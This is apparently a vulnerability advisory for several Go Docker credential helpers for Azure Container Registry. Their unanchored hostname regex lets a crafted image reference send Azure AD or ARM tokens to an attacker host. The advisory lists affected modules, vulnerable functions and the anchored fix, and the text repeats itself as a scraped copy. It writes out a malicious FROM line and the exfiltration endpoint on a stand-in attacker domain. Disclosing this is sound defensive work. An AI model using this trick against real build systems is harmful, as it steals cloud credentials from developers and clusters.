The ACR hostname check in this credential helper, and in every fork of it, is a regular expression that is not anchored:
var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)
so any hostname that merely contains azurecr.io is treated as ACR. ie. evil.azurecr.io.attacker.com matches. Note the leading label, the pattern needs a literal dot before azurecr, so a bare azurecr.io.attacker.com does not match.
The host that passed the check is then used to build the token exchange client, so the helper POSTs to https://evil.azurecr.io.attacker.com/oauth2/exchange and sends the Azure AD access token, once as Authorization: Bearer and once as the access_token form field. What leaks is that AAD token, not an ACR scoped refresh token, so it stays usable against Azure beyond the registry. Depending on how the helper runs it comes from AZURE_CLIENT_SECRET, from a federated workload identity assertion or from IMDS on the node.
The attacker input is an image reference, so a FROM line is enough:
FROM evil.azurecr.io.attacker.com/base:latest
Affected modules
github.com/chrismellard/docker-credential-acr-env, all versions, no fix. In Go terms the module has no semver tags, so consumers pin the pseudo-version v0.0.0-20230304212654-82a0ddb27589. The repository is unmaintained, last commit february 2023, and private vulnerability reporting is not enabled on it, which is why this advisory is published here. Tracked as GO-2026-6225.
github.com/gaganhr94/docker-credential-acr, below v1.0.3, fixed in v1.0.3. A rewrite of the same helper on azidentity that carried the same unanchored pattern in pkg/registry. It requests the AAD token with scope https://management.azure.com/.default, so what leaked is an ARM token, and it obtains it through DefaultAzureCredential, which also chains AzureCLICredential, AzureDeveloperCLICredential and AzurePowerShellCredential — on a developer machine without workload identity the helper falls through to an interactive az login and hands over a human's ARM token. This module reaches consumers through github.com/google/go-containerregistry/pkg/authn/k8schain, which still pins v1.0.2, so those consumers need go-containerregistry to bump that pin before they can pick up v1.0.3.
github.com/osscontainertools/docker-credential-acr, below v0.8.0, fixed in v0.8.0. No release below v0.8.0 was ever published under this module path, so only pseudo-versions resolved from the few commits between the module rename and the fix are affected.
Vulnerable functions
github.com/chrismellard/docker-credential-acr-env — credhelper.isACRRegistry, credhelper.ACRCredHelper.Get
github.com/gaganhr94/docker-credential-acr — registry.IsACRRegistry, credhelper.ACRCredHelper.Get, credhelper.acrKeychainHelper.Get
github.com/osscontainertools/docker-credential-acr — credhelper.isACRRegistry, credhelper.ACRCredHelper.Get
The host check is the gate, the Get methods are the exported entry points that reach it.
Resolution
Anchor every alternative on both ends:
var acrRE = regexp.MustCompile(`^.*\.azurecr\.io$|^.*\.azurecr\.cn$|^.*\.azurecr\.de$|^.*\.azurecr\.us$`)
Each alternative needs its own ^ and $, a ^ on the first one and a $ on the last one only looks anchored. And .*\. has to stay, ACR serves blobs from dedicated data endpoints like <registry>.<region>.data.azurecr.io.
Users of gaganhr94/docker-credential-acr upgrade to v1.0.3. Users of the unmaintained upstream module have no upgrade path within it, use github.com/osscontainertools/docker-credential-acr v0.8.0 or later. Coming from chrismellard/docker-credential-acr-env it is drop-in apart from the module path and binary rename to docker-credential-acr.
References
The ACR hostname check in this credential helper, and in every fork of it, is a regular expression that is not anchored:
so any hostname that merely contains
azurecr.iois treated as ACR. ie.evil.azurecr.io.attacker.commatches. Note the leading label, the pattern needs a literal dot beforeazurecr, so a bareazurecr.io.attacker.comdoes not match.The host that passed the check is then used to build the token exchange client, so the helper POSTs to
https://evil.azurecr.io.attacker.com/oauth2/exchangeand sends the Azure AD access token, once asAuthorization: Bearerand once as theaccess_tokenform field. What leaks is that AAD token, not an ACR scoped refresh token, so it stays usable against Azure beyond the registry. Depending on how the helper runs it comes fromAZURE_CLIENT_SECRET, from a federated workload identity assertion or from IMDS on the node.The attacker input is an image reference, so a
FROMline is enough:Affected modules
github.com/chrismellard/docker-credential-acr-env, all versions, no fix. In Go terms the module has no semver tags, so consumers pin the pseudo-versionv0.0.0-20230304212654-82a0ddb27589. The repository is unmaintained, last commit february 2023, and private vulnerability reporting is not enabled on it, which is why this advisory is published here. Tracked as GO-2026-6225.github.com/gaganhr94/docker-credential-acr, belowv1.0.3, fixed inv1.0.3. A rewrite of the same helper onazidentitythat carried the same unanchored pattern inpkg/registry. It requests the AAD token with scopehttps://management.azure.com/.default, so what leaked is an ARM token, and it obtains it throughDefaultAzureCredential, which also chainsAzureCLICredential,AzureDeveloperCLICredentialandAzurePowerShellCredential— on a developer machine without workload identity the helper falls through to an interactiveaz loginand hands over a human's ARM token. This module reaches consumers throughgithub.com/google/go-containerregistry/pkg/authn/k8schain, which still pinsv1.0.2, so those consumers need go-containerregistry to bump that pin before they can pick upv1.0.3.github.com/osscontainertools/docker-credential-acr, belowv0.8.0, fixed inv0.8.0. No release belowv0.8.0was ever published under this module path, so only pseudo-versions resolved from the few commits between the module rename and the fix are affected.Vulnerable functions
github.com/chrismellard/docker-credential-acr-env—credhelper.isACRRegistry,credhelper.ACRCredHelper.Getgithub.com/gaganhr94/docker-credential-acr—registry.IsACRRegistry,credhelper.ACRCredHelper.Get,credhelper.acrKeychainHelper.Getgithub.com/osscontainertools/docker-credential-acr—credhelper.isACRRegistry,credhelper.ACRCredHelper.GetThe host check is the gate, the
Getmethods are the exported entry points that reach it.Resolution
Anchor every alternative on both ends:
Each alternative needs its own
^and$, a^on the first one and a$on the last one only looks anchored. And.*\.has to stay, ACR serves blobs from dedicated data endpoints like<registry>.<region>.data.azurecr.io.Users of
gaganhr94/docker-credential-acrupgrade tov1.0.3. Users of the unmaintained upstream module have no upgrade path within it, usegithub.com/osscontainertools/docker-credential-acrv0.8.0or later. Coming fromchrismellard/docker-credential-acr-envit is drop-in apart from the module path and binary rename todocker-credential-acr.References